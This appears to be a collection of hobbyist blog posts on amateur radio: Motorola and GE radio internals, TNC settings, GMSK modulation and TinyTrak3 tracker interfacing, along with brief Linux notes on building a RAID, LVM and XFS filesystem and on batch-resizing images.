One of the thoughts that immediately comes to mind when faced with this "entity" which has a desire to communicate is to establish a clear demarcation, and setup a link from that point to another. This is questionably legal, however, because as amateurs, we are responsible for the content, and agencies, like many people, tend to know exactly one subject eight miles deep, and know other subjects less than the thickness of a sheet of paper thick. Anyway, the idea is this: An agency needs communications. Setup a demarc point, like a channel bank. Capture audio from the channel bank, convert to SIP, shoot across microwave/wireless/900MHz. Since the audio is SIP, many CODECs may be used, from the most bandwidth efficient, to the most bandwidth inefficient. Of course, the radio amateur is limited by the amount of bandwidth that may be used for such purpose; he should select the mode which provides the most bandwidth savings to send the given information. In the case of twenty-four channels of PCM audio, the bandwidth required is 1.536Mbit/s. Using OFDM or even MSK, this may be transmitted in less bandwidth than the average TV channel. However, by converting the above traffic to the GSM codec, only 384Kbit/s is required. SIP will add overhead, of course, but this should be minimal.

However, this creates an arguable point. The argument is many-fold, as is typical for this sort of thing. First, the amateur is now providing services which a commercial company may provide. Federal law prohibits this. However, it is definitely arguable that, in the time and space required, that a commercial entity cannot provide such service -- licensed microwave links require coordination and licensing, not to mention equipment. Short of having prior coordination and licensing in place, these cannot be delivered in a short period of time, into the middle of a disaster situation. Compliance with the law would require a high-priority given to the licensing activity, which would required GPS coordinates be fed to someone outside of the disaster zone, and monies paid to a frequency coordinator and to the FCC or a licensing consultant to actually be granted the license in a short amount of time.

Secondly, the amateur is still responsibile for the content of the traffic, but it has now scaled beyond what he is capable of monitoring himself. Does the traffic become "data" and he responsible for just the bit, or the actual content of those bits? Is his license in jeopardy if his "customer" fires up a VPN connection over an IP link he has set up? Where is the line drawn? Does the amateur become a common carrier? I would think not, since common carriers are not responsible for content, yet amateurs are.

There are many ways to go with this, unfortunately, we need to do the one thing we are loathe to: poke the bear (the FCC) and ask for guidance.  

GE S-950 or S-990 Control Heads


The modification listed in the above websites has a few caveats which are not explained well. In order to effectively bankswitch 128 channels, the channels are divided into eight "modes" in GE parlance, or "zones" in Motorola parlance. In Midland-speak, they are "groups". To many of us, they are "banks". To reach 128 channels, the control head switches either four banks of thirty-two channels or eight banks of sixteen channels. When the bank is changed, the radio is reprogrammed by the head with the contents of the bank selected.

My process for preparation was to burn the "new" firmware to an EPROM, insert the firmware, and to pull the EEPROM (codeplug) and wipe the codeplug.

Big no-no.

The instructions say that the head should already be programmed. What they don't say is that if you want or intend to use the full 128 channels, you must start with a codeplug that has 128 channels defined. Finding myself with a blank codeplug, I dug around to see what I could do to make a codeplug.

Sometime ago, I found a copy of the Niles programmer software. Supposedly, this was available for free download or some such, so I downloaded it and stored it away. I found that I could enter a few channels into the Niles software and it would create a codeplug image that I could program into the EEPROM using an external EPROM programmer.

So I programmed the EEPROM with a few channels, plopped it in the head and started poking around... and found that I couldn't access banks beyond two. This was, as I mentioned before, because I didn't have 128 channels programmed into it. Pull the EEPROM, jump in the car, back in front of the computer, to define 128 channels. When selecting a bank, two options are listed for VCO -- the 138 - 151 MHz version, and the 150-174 MHz version. Since this was a 150-174 MHz radio, I chose that option. Burn the EEPROM, get in the car, drive to the radio, plop the codeplug into the head... fire up the radio and... VCO unlock.

So I started dorking around with it, and paged through a few memories to make sure the information was correct (and it was), then hit the key to exit... And noticed that the VCO was now in lock.

Apparently, something about reviewing the channels, one by one, corrected a programming error in the codeplug that was in the EEPROM. So one channel at a time, all 128 channels, to review and reprogram the banks until all the channels worked.

So keep that in mind, if you run into issues with the head. Sometimes it is smarter than you give it credit for. Enjoy.

Callsigns in IPv6

http://mesa-arc.org/operating/IPv6 reports that:

Embedded Callsigns in IPv6 Addresses

Club Members Jacques N1ZZH and Vinnie N1LQJ have developed a method of embedding a 2x5 (7 Character) callsign plus up to 185 nodes, plus 1 universal bit and three reserved bits in the 2nd octet, and a 16 bit amateur radio identifer at bit 24 of an IPv6 /64 Subnet address. 

Sample programs and information on this proposed standard can be found at http://sourceforge.net/projects/hamv6


Motorola References

References for Motorola Paging and Trunking Radio:

A discussion of a FLEX decoder, including some C code.
Local copy: here.

FLEX at 6400 Hz
Covers the "FM Click Noise" and some high-level math.  Mostly describes the modulation used which is an additional level of "FSK" accomplished by using higher frequency tones to drive the FM modulator, and various other related radio phenomenon. Intersymbol interference (ISI) in FSK is also mentioned, which may be of interest to those studying GMSK. This can also be used as a reference point for C4FM/4FSK, since 4FSK is part of the FLEX standard.

This is the patent that documents the Motorola Systems 9000 Bus signalling.

Programmer's Reference Manual by Phillip Musumeci

Freescale M68HC11E Programming Reference Guide

The Motorola 68HC11 Reference Manual, V3.0.
I have version 1.0 of this on dead trees.

The 68HC11 is used in the Motorola Syntor X9000, Saber, Spectra, Maxtrac, GM300, Radius (mobile), Maratrac, etc. Are we detecting a pattern? The 68HC11 will execute code targeted for a 6803.

The 6803 was used in the Trunking Syntor X's trunking control module. The actual Syntor X radio CPU was a Z80. I may be wrong about this, other research points to the CPU being based on a Mostek 3870.

Trunked Syntor X Smartnet Dual Operation radio 68P81066E80-A
"6303 processor running at 3.888MHz" - Typo of "6803"?
"Bidirectional balanced serial data link U410D, Q416D, Q401, and U408C provides two-way data communications at 949.2 baud between the trunked personality board and the control head."

Trunked Syntor X FM Radio Control Station 68P81043E55-B
6803 CPU at 3.6MHz processor clock, derived from 14.4MHz RF/PLL reference clock/standard.
Clock sent to head is 76.8KHz, but the head is a dumb (no CPU) combination of a UART and some miscellaneous logic to collect inputs and drive outputs. And the control head communications resembles the SB9600 patent.
The Syntor X9000, all models, used a 68HC11 in the radio for control and a 68HC11 in the radio control head. Most of the option modules included 68HC11 processors, including the DTMF encoder/decoder, MDC600 encoder/decoder, Securenet option, external Siren/PA amplifier (HLN1185), Vehicular Repeater System (VRS), and so on. These devices, internal and external, communicated using the Systems 9000 bus (SB9600), an RS-485 multi-dropped 9600 bps interface. This hierarchy was carried over into the Spectra along with the Systems 9000 bus and some of the accessories such as the VRS and Siren/PA amplifier.

Motorola in general: http://www.repeater-builder.com/rbtip/mojoindex.html
Syntor, X, X9000, MCX100, MCX1000, Mostar: http://www.repeater-builder.com/motorola/syntor/syntor-index.html
GM300 Series (Maxtrac,Radius, etc): http://www.repeater-builder.com/maxtrac/maxtrac-index.html
Maratrac: http://www.repeater-builder.com/motorola/maratrac/maratrac-index.html
Spectra: http://www.repeater-builder.com/motorola/spectra/spectra-index.html
Saber: http://www.repeater-builder.com/motorola/saber/saber-index.html

Mike Blendermann:
Syntor: http://www.onfreq.com/syntorx/syntor/index.html
Syntor X: http://www.onfreq.com/syntorx/syntorx/indexx.html
Syntor X Trunked: http://www.onfreq.com/syntorx/syntorx/trunking.html
Syntor X9000: http://www.onfreq.com/syntorx/syntorx9k/index.html
Spectra: http://www.onfreq.com/syntorx/spectra/index.html

From the trunked  Syntor X page above;
HCN1032 Control Head:

The HCN1032 control head merits special mention. This control head only looks like a normal Systems 9000 control head. The case, buttons, internal Display Board and the individual parts from the internal Control Board (except for U1, U6 and the printed circuit board) are compatible with other Systems 9000 heads. The incompatible hardware parts are U1 is specially programed for this control head and U6 is a digital volume control chip (all the other X 9000 or X 9000E radios have their own internal digital volume controls inside the radio). The HCN1032 is missing a busy line and reset line, it uses hard wired PTT control lines, runs the serial link at 949.2 baud and has a volume control chip U6. A normal Systems 9000 control head has a bidirectional busy line, bidirectional reset line, uses serial link commands to control the PTT, runs the serial link at 9600 baud and has no U6 volume control chip. The HCN1032 uses two microprocessor control pins for its unique U6 volume control chip, which are normally used for the busy line interface that is missing from this control head (another reason why U1 is an incompatible part). Both the HCN1032 and other Systems 9000 control heads use the exact same radio to control head cable.

949.2 baud is mentioned in the Maratrac/M400 manual, and is used by RSS to program a number of radios at 7E1. 

Unsurprisingly, this appears because the defaults for the 68HC11 is to use a ten-bit buffer on the serial port, which works out to a start bit, a stop bit, and seven bits of data plus a parity bit.

An older analog/digital hardware engineer I used to work with would use combinations like 9600-N-8-2, or 9600 bps per second, no parity, eight bits, and two stop bits because it resulted in a signal that was 10 or 12 bits long at 9600 Hz. His experience was second to none, and like most experienced engineers (and fathers) he was able to concisely explain why a particular challenge was solved using a certain method. Unfortunately, many of these engineers don't write down these things down after retirement, so the new crop of engineers don't benefit from that experience. There's a lot of human knowledge going down the pipes because it's "old technology" and being thrown out because of the sheer volume of information. Some of it is discarded or kept from public eyes because it's a "trade secret" or "proprietary". But I digress.

9600 bps is mentioned in the Saber theory manual, along with 57.6kbps, which is used by the CORE to talk to the COPE (display, DTMF, PLs, etc.) and other internal peripherals.

The Syntor itself (not the X or the X9000) along with the MCX100 used a special mode built into the Synthesizer that caused it to generate a sweep across some address/data lines and load itself with a frequency. The Syntor and the MCX100 are CPUless radios.

The MCX1000 uses a 68HC05 in the control head, 9600 BPS differential bus, 4.0MHz clock, and a 68HC05 on the Analog control board and still a third processor in some sort of PLCC ASIC. This radio has some odd use of the MOSI/MISO SPI bus, whereas other 68HC11-based radios use the SCI (serial) interface.  Otherwise, the MCX1000 looks like an MCX100 with a processor shoved into it.

The benefit to FSK/2FSK/4FSK is that it can be decoded without a modem.

Birmingham 146.76

146.76 in Birmingham doesn't use duplexers. Instead, each receiver is located some distance from the transmitter and linked back using another band.

Active/known tones:

103.5 (disabled)
131.8 (portable remote)

LVM XFS and Fun



parted isn't really your friend. Give it as little info as needed. Then remember what your device mappings are, and how they are accomplished.

Long story short: partition drive gpt, set raid flag on partition 1.

# mdadm --create --verbose /dev/md1  --assume-clean --level=1 --raid-devices=2 /dev/sd[bc]1

# pvcreate /dev/md1
# vgcreate VG01 /dev/md1
# lvcreate -l 93%VG -n LV02 VG01
If you want to create one with 93% of your total (mirrored) disk space... Not really a problem, can always grow lvm/xfs later.

# mkfs.xfs -f /dev/VG01/LV02
Edit /etc/fstab and mount the filesystem using mount /filesystemname. Why this way? So the **** thing automounts on boot. Dropping to single user is lame, y0.

Converting Images


mogrify -resample 72 -quality 80% -path /path/to/pictures *.jpg


convert *.jpg -resample 72 -quality 80% -set filename:orig %t SM%[filename:orig].jpg

As always, the mogrify/convert utilities overwrite the existing file unless you give it an argument to write them to a new location.
Background here is that I scanned a few documents at 600 DPI, and needed to convert to a smaller DPI because the PDF creation tool was unable to cope with 25+ 55MB BMPs and TIFFs. After copying to a test directory (remember the warning above, make backups!), I found that the file size dropped by 90%, and the PDF engine was able to load the images quickly and process them quickly.

Amazingly enough, 80% quality with JPG netted decent results. Even at 80% 72DPI, the originals look great in uncompressed form.


The above is clickable man pages for Image Magick.


When all else fails, try 2400 7E1.

Even with autobaud turned on, the bloody thing won't.

cmd: autobaud off

awlen 8
parity 0



AWLEN sets the bits over serial. This one was set to 7, but I had pulled the battery.

PARITY sets the parity. 3 seems to be Even, 1 is odd, and 0 is none.

DISPLAY dumps out all the variables.

DAYTime yymmddhhmmss

PACLEN should always go to 255.

TXD to appropriate. I've seen in manuals some radios need about 200.

DO NOT TYPE "RESET". This wipes the TNC back to defaults. To reboot, type "restart".

Oh, but more fun. When you're trying to reduce the modulation slope (excessive pre-emphasis), in the 1278 there is a jumper. In the 1274, there is not. Simply short C71 and some other stuff:


These modifications affect only the transmit audio circuitry of the mfj1270b and also clean up a few "gotchas'" in the use of the tnc. The main modification is to bring the deviation levels of the low tone and the high tones closer together, remove the default 6db/octave pre-emphasis implemented in the tnc and increase the tx drive level.

In the unmodified circuit of several mfj1270b tested and modified so far, the audio output levels resulted in an approximate FM deviation of 1.8kHz for the low tone and 4.8kHz for the high tone, the deviation difference being 3kHz.

After modification, the low and high tone transmit audio output levels are such that the FM deviation levels are within 200Hz of each other. This is particularly critical when connecting to tnc's that use the exar 2206/2211 chipset for the modem, (as the mfj1270b does) as the demod chip of the set will NOT decode if the recovered low and high tone signal levels are too different.

The output circuitry of the mfj1270b has two monolithic capacitors in series in the signal path; c71 (4.7nF) which provides 6dB per octave pre-emphasis (which will add to the 6dB/octave pre-emphasis done in the radio if the tx audio goes through the mic amplifier) and c73 (0.33uF) which decouples the transmit audio output of the xr2206 modem.

The four components (c71, c73, r56 & r57) of the tx audio path form a filter whose response is frequency dependent. Changing the capacitor values changes the filter's effect on the low and high tones, changing the resistance values increases the tx audio level.

The output deviation level mod as shown is to short out c71, change r56 (7.5k) to 2.7k, remove r57 (560r) and change c73 (0.33uF) to 0.47uF. The analogue loopback feature provided by jmp7 is unaffected by this modification.

After modification the difference between the low and the high tone levels is approx 200Hz.

Just go read about it there. They have pictures.

GMSK Tutorial and Implementation

From Spread Spectrum Scene, http://sss-mag.com/index.html (go read everything they have!), there's an app-note from MX about GMSK entitled: Practical GMSK Data Transmission.

Here's the link from the 'scene: http://sss-mag.com/pdf/gmsk_tut.pdf and a local link.

This PDF explains and shows the phase-discontinuous nature of PSK and other modulations:  http://www.emc.york.ac.uk/reports/linkpcp/appD.pdf
What people don't immediately realize is that GMSK is MSK, with rounded edges. Why is that important? Because square waves are by definition made up of the fundamental frequency and all of the odd harmonics of that frequency. However, when you cram a square wave into a multiplication process, like modulation, it creates mixing products -- lots of them. We call these products "sidebands" and typically try to reduce them through filters in some way.

Filtering can be done before or after modulation. It is more effective, and a better use of power to filter before the modulation process than after. In the case of GMSK, a specially designed Gaussian filter is used, which has two effects on the signal. One effect the Gaussian filter has is that it is intentionally set lower than the frequency passing through it. This causes it to have a rather pronounced effect on the signal passing through; specifically on the Gaussian filter, this gives rise to "InterSymbol Interference" or ISI. This interference happens because the filter causes the bits to lag a little in the time domain, causing the receiving modem to occasionally decide a bit is a one when it should be a zero or a zero when it should be a one. The second effect of the Gaussian filter is that it turns the sharp, square edges of the data into a rounded spike-like pulse. This rounded pulse has advantages.

The rounded Gaussian pulse has many advantages. Recall that in FM radio, a modulating signal is applied to a modulator. As the signal sweeps in one direction, say from zero to V+, the resulting frequency of the transmitter rises to a set maximum. Likewise, as the signal sweeps from zero to V-, the transmitter lowers in frequency to another set minimum. The advantage to the rounded spike is that, much like a plotter connected to an oscilloscope, the path is easily followed with smooth transitions. This is extremely important, as sudden jumps in amplitude and frequency cause phase discontinuities which make the signal hard to process. In Frequency Modulation, the signal must always remain phase-continuous without rapid reversals. The reason for this is manyfold, but I'll settle on two: 1) If it wasn't, then it isn't by definition FM, and 2) because the most common amplifier used to amplify FM signals, the often 80% efficient Class C, requires that the signal "ring" or spend half the time per cycle coming out of a RC "tank". So the Gaussian pulse allows the modulator to follow along, smoothly, generating a signal with minimal harmonics as a result of the modulation process. Again, because of this smoothness of action, rather than jumping around like QPSK or QAM, the GMSK signal is FM-complaint, allowing common, off the shelf gear to be used to generate, receive and amplify the GMSK signal. In short, GMSK appears to be a preferred way to transmit FSK signals, mostly due to removing unwanted sidebands which would otherwise be wasted as heat in the filters following the modulator. Bt=0.3 seems best, apparently the commercial data guys are aiming for 0.25 and 0.27.

Remember, of course, that MSK is defined as the shift at half the frequency of the data, and the modulation index is 0.5. GMSK doesn't get all the way down there, but it's still spectrally more efficient than FSK. Often, the same gear can receive GMSK as FSK, particularly the MX589 used by Kantronics in the KPC9612.

From the commercial perspective, I want to point out a few things:

1) Motorola has for years, since the Syntor X series, provided a split low-frequency and high frequency modulation path. This allows the CTCSS tones to be modulated at the lower frequencies that the VCO's PLL would otherwise automatically remove as detected frequency error.

2) Motorola has also used multi-level FSK to transmit and receive trunking control information.

FSK has the advantage of simple transmission -- attach the data stream to the modulator -- and simple detection: one need only use a data slicer to recover the data if the center frequency or one of the frequencies is known. 

Seeing as how the Motorola Spectra, Saber, and X9000 lines are based heavily off of the 68HC11, and the Kantronics KPC-9612, -9612+, -3, and -3+ all use the HC11 as well, I would not be surprised if Motorola was bit-banging data in from the trunking control channel without a modem much like how Kantronics recovers data in the 1200 BPS port of the above mentioned TNCs.

Update: I've just become aware that GMSK is being referred to by some as "GFSK with a modulation index of 0.5." GFSK is "Gaussian Frequency Shift Keying", per Analog Devices ADF7023-J product information: http://www.analog.com/static/imported-files/data_sheets/ADF7023-J.pdf

US Patent 5,551,068


I found a sheet of paper bearing this number and couldn't make heads or tails of what it was. So I plugged the number into Google Patent, and started reading. The fact that it was a Motorola patent wasn't unusual; at the time I had been reading about trunking radio. No, the part that got my attention was when I started remembering what SB9600 meant and what I was reading:

This is the patent that documents the Motorola Systems 9000 Bus signalling.

All your Spectra are belong to me. =D

Moseley TRL-1 and CIP-2 Manuals

Highly unlikely you'll need these unless you're a broadcast engineer servicing some old equipment.

If you're interested in two-way or microwave, you might take note of the 200KHz IF filters the device has in it. One can cram a lot of data through that interface. (GRAPES modem anyone?)


These are meant to be printed with "auto-rotate" turned on, except the backsides of the 11"x17" pages were not scanned. Everything has been rotated so that one may view the PDF without printing or turning one's head sideways every other page.

Antenna Patents for Broadcast and Circularly Polarized Antennas

TinyTrak3, Cellphone GPS, and GE PCS

I interfaced a TinyTrak3 to a GE PCS portable VHF radio and a "GPS Battery" for a Nokia 5165.

The GPS battery woke up the GPS off the internal battery and provided GPS sentences out the TinyTrak3 needed. The connector is a 2.5mm stereo plug, one side is TXD, the other is RXD. I never worried with which was which -- I just applied a DC voltage from ground above 1.5V between ground and one of the wires. If it was the receive line, the GPS would wake up, as observed through an LED on the back of the battery next to a button that says "GPS". I experimented with the GPS as much as I could as far as what it would accept. It only provided 1mA of load and "tripped" (turned on) roughly somewhere around +1.3V. The original instructions I had were "give it +12V and it will wake up and spit out NMEA".

To wake the GPS, I installed a 4.7Kohm SMT resistor across J7. This put V+ from the radio connector to the serial connector on Pin 4 (RXD/TXD are pins 2, 3, and ground is pin 5). However, when I connected the TinyTrak to the computer, it transmitted garbage. The RS-232 analyzer showed me nothing useful on it's LEDs, so I was a bit mystified. I finally decided to slap a cable together, assuming the problem was related to excessive capacitance or coupling computer noise into TinyTrak. The cable was a full serial cable at one end and the other was pins 2,3 and 5 -- a safety net. The cable is also wired to be a "null-modem" per the TinyTrak documentation. I believe the actual problem was that the pin on the computer was going to a negative voltage and was dragging the power bus down or otherwise introducing noise. I found out the problem wasn't the cables I'd build when I disconnected the TinyTrak from the computer mid-tone generation and it cleared and sent a normal packet. In the next one, I will be installing a diode to see if it makes a difference.

Annoyingly, each device has an independent battery. On the TinyTrak3, I had to cut J4 to turn the LEDs off, and since they were useful for diagnostics (and I have had a life-long love affair with LEDs) I installed a two-pin header block and a Berg jumper in the case. I wasn't able to find any way to pull power from either the radio or the GPS, since the GPS only had TXD and RXD. The radio only had +4.75VDC on the PTT input, which of course disappears when PTT is brought to ground to transmit. On the receive side, +4.75VDC was present on each of the two speaker leads, but the audio amp is only powered up when the device is receiving. Accordingly, I installed a 9V battery connector on the Radio connector. The TinyTrak draws about 6.6ma in normal operation without the LEDs turned on. A 9V battery can only source about 20mA of current, so this works out. My first attempt at powering the TinyTrak didn't work so well, but it was because the battery only read +6.5VDC before attaching it. The datasheet on the 78L05 regulator used in the TinyTrak requires a minimum of +6.7VDC input to provide properly regulated output. So as long as the battery is new, the TinyTrak is happy.

The GE / Ericsson PCS radio was... interesting. As noted in the earlier Mitrek adventures, the "audio pa enable" line was tapped through an ingenius hack. The rest of the interfacing was pretty straight-forward. J902, the "UDC" (speaker mic connector) provides five signals: GND, PTT, Mic Hi, SPKR+, and SPKR-. However, J902 is also used for programming, and the radio cannot be allowed to turn on with Mic Hi grounded or the radio will go into programming mode -- which does not have a timeout. Another gotcha on the PCS is that if you provide it MORE DC power on the input, it puts out LESS RF power. This radio was designed for 7.5VDC. Don't try to feed it more. Oh, and the power switch is located on the side of the battery. There is no on/off switch on the radio chassis itself.

The GE PCS has more in common with a Motorola Spectra than a Mitrek. The reason why is that the Mitrek has a pair of 500 or 1000 microfarad capacitors between the audio amplifiers and the chassis speaker output. The PCS, and the Spectra both use the same differentially driven audio amplifier -- bridge amp -- without any isolation on either output. The result of this is that on the Spectra, the audio amplifier can be instantly destroyed if one side of the speaker leads touches either the supply voltage (+12V, +A, +B) or ground. Similarly, it's possible to damage the PCS from allowing the same sort of condition to occur.

Using the "audio PA enable", I got lazier than I have been. On the Mitrek, I was able to simply borrow one side of the audio output and route it out of the chassis. I ignored any AC that might have been riding on the signal. In this case, I went a bit brute force. I connected SPKR+ to a 4.7Kohm resistor, and SPKR- to a 4.7Kohm resistor. I then tied the two 4.7Kohm resistors together and soldered them to the Carrier Detect input on the TinyTrak. Of course, like the Mitrek, I had to "Invert CD" for it to work. I also found that -- what I had forgotten -- the squelch level only needs to bet set far enough to trip the TinyTrak's carrier detect input. The squelch is handled by the PCS, and on the PCS it's a digital control.

If there is one thing annoying about the PCS, it's that it has one of the "hottest" receivers in a handheld radio. 12dB SINAD at -124dBm. The TinyTrak won't transmit a packet if the carrier detect is tripped -- random noise or real packet. Since the squelch is managed by the radio, the carrier detect isn't easily adjustable without reprogramming the radio. On the other hand, the squelch action is better than what the Mitrek shipped with.

There isn't much to say about the Mic Hi input on the PCS, other than it's referenced to ground and also used for programming. Connecting that normally worked as expected, and I was able to achieve 5.5KHz deviation just by talking into the mic on the radio. I set the TinyTrak for about 3.7-3.8KHz deviation using "Both" tones.

Power out was somewhat expected. The previous owner identified the radio as putting out about 4.3W, but my testing showed 3.5W, and was repeated with another radio, also making a little north of three watts. On the other hand, these are 150MHz radios operating eight megahertz away from design limits, so I'm not too concerned. The radio is sufficiently complicated to disassemble that I may never try to tweak it.

Finally, I got good decodes of the generated AX.25 packets from the digi (via APRS-IS) with 193 ms of TXDelay. I believe I can set it lower, but I will have to actually get a TNC setup here to confirm.

Less Syntax Highlighting


Motorola Mitrek and TinyTrak3

I can't believe this hasn't come up, but a little searching seems to indicate that not very many folks interface a Motorola Mitrek to a TinyTrak3.

I ran into an issue with a Motorola Mitrek radio and a TinyTrak3. I was trying to determine what the radio was expecting as far as a modulating signal was concerned. Motorola, in the lowband Mitrek manual, indicates that a 1KHz tone should be generated at 1V peak-to-peak and feed into the microphone input through a .33uF capacitor. The DEV adjustment should be turned until deviation reaches 4.8KHz, and PL deviation should be between 0.5 and 1.0 KHz.

Short story since I'm light on time. Remove/don't install R8 into the TinyTrak3. This is used to couple PTT to TX Audio or vice versa. It simulates how HT external microphones used to be wired (2.2Kohms to ground to transmit). Short R5. I tried halving the resistance with another 220Kohm resistor for 105Kohm... Just nix that altogether and short R5. This can be done with a solder bridge, leaving you the option of going back to 220Kohm later if you need to.

I repeat: don't install R8 or remove R8 and short R5.

Short version again: Short R5 on the TinyTrak3 if you need more drive. See page 15 of the TinyTrak3Plus manual: "No audio is heard on a receiver." See page 14 of the TinyTrak3 manual under the same heading. It's the same paragraph verbatim.

Then set the  R6 to maximum. Tell the TinyTrak3 to generate both tones and adjust the IDC pot on the channel element for -/+5.0KHz deviation. Then adjust R6 for 4.0KHz deviation.

(The reason for doing this is that when the IDC (limiter) kicks in, it introduces clipping, distortion, and harmonics to the signal. By setting the channel element for 5KHz, the limiter is high enough to prevent introducing distortion through normal peak clipping. The stock Mitrek microphone circuits contain a brick-wall splatter filter to prevent excessive modulation/sidebands/harmonics.)

This message is my basis for that assumption of 4.0KHz deviation:

Reproduced here:

From: WA8LMF

Michael Crowder wrote:
> Rudy, Thanks for the assistance.
> I've tried re-loading a new config, but I still have the problem that
> the 1200Hz tone is twice the amplitude of the 2200Hz tone. I'm using
> the TinyTrak3 configuration program to cause the MicroTrak8000 to send
> the separate tones, and then looking at the received signal on my PC
> using AGWPacket engine. Anyone have any ideas what may be causing the
> different levels in tones?
> --
> M

This is perfectly normal if you are taking the audio off the speaker
terminal of the receiver.

You are seeing the normal de-emphasis curve of a voice FM receiver. At
the transmit end, audio fed into the mic jack has the high frequencies
boosted relative to the low. Ideally, this boost or pre-emphasis should
be 6dB/octave over the range from 300 to 3000 Hz. The over-the-air
deviation or level of the tone is directly proportional to it's
frequency; i.e. a tone at 2400 Hz should have twice the deviation as one
at 1200 Hz. At the receiver, a corresponding de-emphasis network
(high-frequency cut) cancels out the boost applied at the sending end
for a net flat (equal levels for all audio frequencies) response at the

However, if you apply the TX audio to the 6-pin mini-DIN "data" or
"packet jack" (on radios that have it) instead of the mic jack, no
transmit pre-emphasis is applied -- both tones go out at exactly the
same level. [Note that the MicroTrak integrated TT3 and transmitter has
no mic input with pre-emphasis - the TT is coupled directly to the TX
modulator with net flat response.] At the RX end, you continue to
apply the high-freq roll-off (de-emphasis) [assuming you are taking the
RX audio off the speaker or equivalent] with the result that the
attenuated 2200 Hz high tone is now about HALF the amplitude of the 1200
Hz low tone.

Historically, 1200 baud packet has been a "jam it in the mic jack of any
radio" (with the corresponding pre-emphasis applied) convention, while
9600 baud packet has been coupled directly into the transmit modulator
(with the resulting flat response). At the receive end, 1200 baud has
customarily been taken off the (de-emphasized) speaker output while 9600
receive has to be taken directly off the receiver discriminator (flat
response) before any high-freq de-emphasis is applied.

Traditionally, 1200 baud packet devices have been set to yield about
3.5-4.0 KHz deviation on the high tone which yields about 2.0-2.5 KHz
deviation on the low tone. Devices such as the Kenwood APRS radios and
the Microtraks that transmit "flat" response at 1200 baud are in
conflict with decades of packet convention that says 1200 baud
transmissions should be pre-emphasized.

Many hardware-based TNCs are very intolerant of unequal tone levels,
especially when the high tone is LOWER in level than the low tone. The
AGW Packet Engine and MixW software modems, on the other hand, are quite
tolerant of mis-matched tone levels. The result is that you may be able
to successfully decode your own transmissions with skewed tone levels in
your soft TNC setup, while a digipeater equippped with a TNC2 or KPC3
hardware TNC connected to the (de-emphasiszed) speaker out of it's radio
will not.

The solution is to apply pre-emphasis to the transmitted signal. Place
a small capacitor (probably somewhere between .01 and .005 uf -- you
will have to experiment) in series between the TinyTrak TX audio out and
transmitter audio-in. If the cap is small enough, it will attenuate the
low frequency relative to the high frequency enough to create a net
pre-emphasis effect. In your RX setup with de-emphasis, you should then
observe that the two tone levels are now nearly the same.


Stephen H. Smith wa8lmf (at) aol.com
EchoLink Node: 14400 [Think bottom of the 2M band]
Home Page: http://wa8lmf.com --OR-- http://wa8lmf.net

The service monitor verifies these levels, total deviation around 4.0KHz (below the IDC limit) for both tones or the high tone, and around 2.5KHz deviation for the low tone alone.

Another suggestion from Bruce Lane via The Batboard is to set the 40W radio to 15W. This appears to limit current draw to about 6A at 13.8V. Seeing as how Motorola said not less than 55W on the 100W Syntors, I'm guessing it's not a good idea to go any lower on the Mitrek lest the PA become unstable and transmit spurs:


Youbetcha. I've had excellent results from a modified Mitrek. The mods involved were changing two capacitors in the transmitter section (so the multipliers would tune up -- I had the 150.8-174 split radio), and having International Crystal re-do the channel elements for 144.3900.

The only other change I made was to turn down the output power to about 15 watts (40-watt radio). Not only will this make the PA last just about forever, it also cuts down the amount of current needed on transmit.

If you go with a Mitrek, let me know. I can help with a step-by-step.

73 de KC7GR

Repeater-Builder website is a great central resource:

SEITS has some info as well:

SRGClub has a great write up with some images you might need if you're like me and don't have the service manual in front of you.


R909 is TX Power, R927 is TX Limit.

Get a good pair of power cables, start turning the power up until you get to about 2W above rated. Then turn down the operating level. On mine, Limit is the blue pot, Operating Level is the red one.

I shouldn't have done it, but I cranked them both wide open. I got 58.3W out of a 40W rated radio. I didn't leave it that way -- I set it to 15W, then noted that I'm losing about a watt and some change in a RG-174 jumper. The service monitor only reported 13.3W.

The power supply was providing 13.73VDC, and because I was doing a power calibration, I hooked the radio up with a #2 welding cable and some half-inch ground braid I'd recovered and had handy. Losses inside the radio made the voltage at the back of the interface connector at 13.55VDC at 15W, and 13.45VDC at 45W.

[And then I found out the RG-174 jumper was bad and replaced it. Read more below...]

Those pictures are from this excellent write up:


Here's another:


Connector pinouts:

How I mocked up a control head:

Again, I suggest a service manual, but if you don't have one and you've seen one in the past, you might be able to wing it. 73 and good luck...

TinyTrak3 Manuals:

TX Delay Settings:

My actual info on TXD comes from listening to the audio unsquelched and squelched while transmitting packets. The Mitrek is up and on the air in about 60ms. Since it's a crystal-based radio, it's on-channel as well -- no warm up needed. So a TXD of 8 or 80ms is long enough for the radio to send about 20 ms of preambling.

At 9600 BPS, these radios can be backed off to TXD 6 or 7 and used at speed.

The venerable Alinco DR-1200 needed a TXD of 33, mostly due to the broad and sweeping behavior of the VCO. That thing transmits Chirp FM spread-spectrum before it gets on frequency! It's at power before the VCO stabilizes. I'm surprised the FCC let them get away with it.

Most radios should be able to do a TXD of 33. If you listen and notice that the first part of the signal sounds like two alternating notes -- it is. That's the preamble. In practice, you want that to be as short as possible, while still decoding packets correctly. Much of that depends on the other radio returning from transmit to receive quickly. This is why the DIGIs now transmit immediately after hearing a packet. Because if you sent it, you're still waiting to swap back from transmit to receive, and the digi is taking advantage of the pause to blurt the message out.

I set the TinyTrak to a TXD of 18, as shown in the link above. The issue, again, is not the Mitrek, it's every other radio out there. Even with the reed relays, the Mitrek is a fast piece of 1970s technology.

SSID settings:

In my case, I went with KE4AHR-12, ("one-way trackers"). Since it vehicle-borne, it will change to -9 sooner or later, and my bicycle will be -12 or some other SSID.

TinyTrak generic:

03/28/12 Edit:

Per N8DEU, I backed the deviation off to 3.5KHz. I found the RG-174 jumper in the case was bad, and replacing it with another pre-made one caused the power out to jump from 13W to 18W with no change in current. After retuning the Mitrek to 25W (out of the box) the current draw was about 6.25A at 13.6V. The cigarette lighter is fused at 10A, so this gives me a few amps for operating another radio and charging a few mobile devices.

As deviation goes down, power efficiency goes up, however gains are on the order of 3dB, if that. You need at least 6dB to notice the difference.

I use a 1/4-wave antenna for my tracker. Its relatively small for the band used, and gives good performance out to certain angles. My perspective at this time is more coverage-testing of the existing nodes, and the dipole allows me to communicate using knife-edge diffraction. Now if only we'd implemented the system using 9600 BPS instead of 1200 BPS....

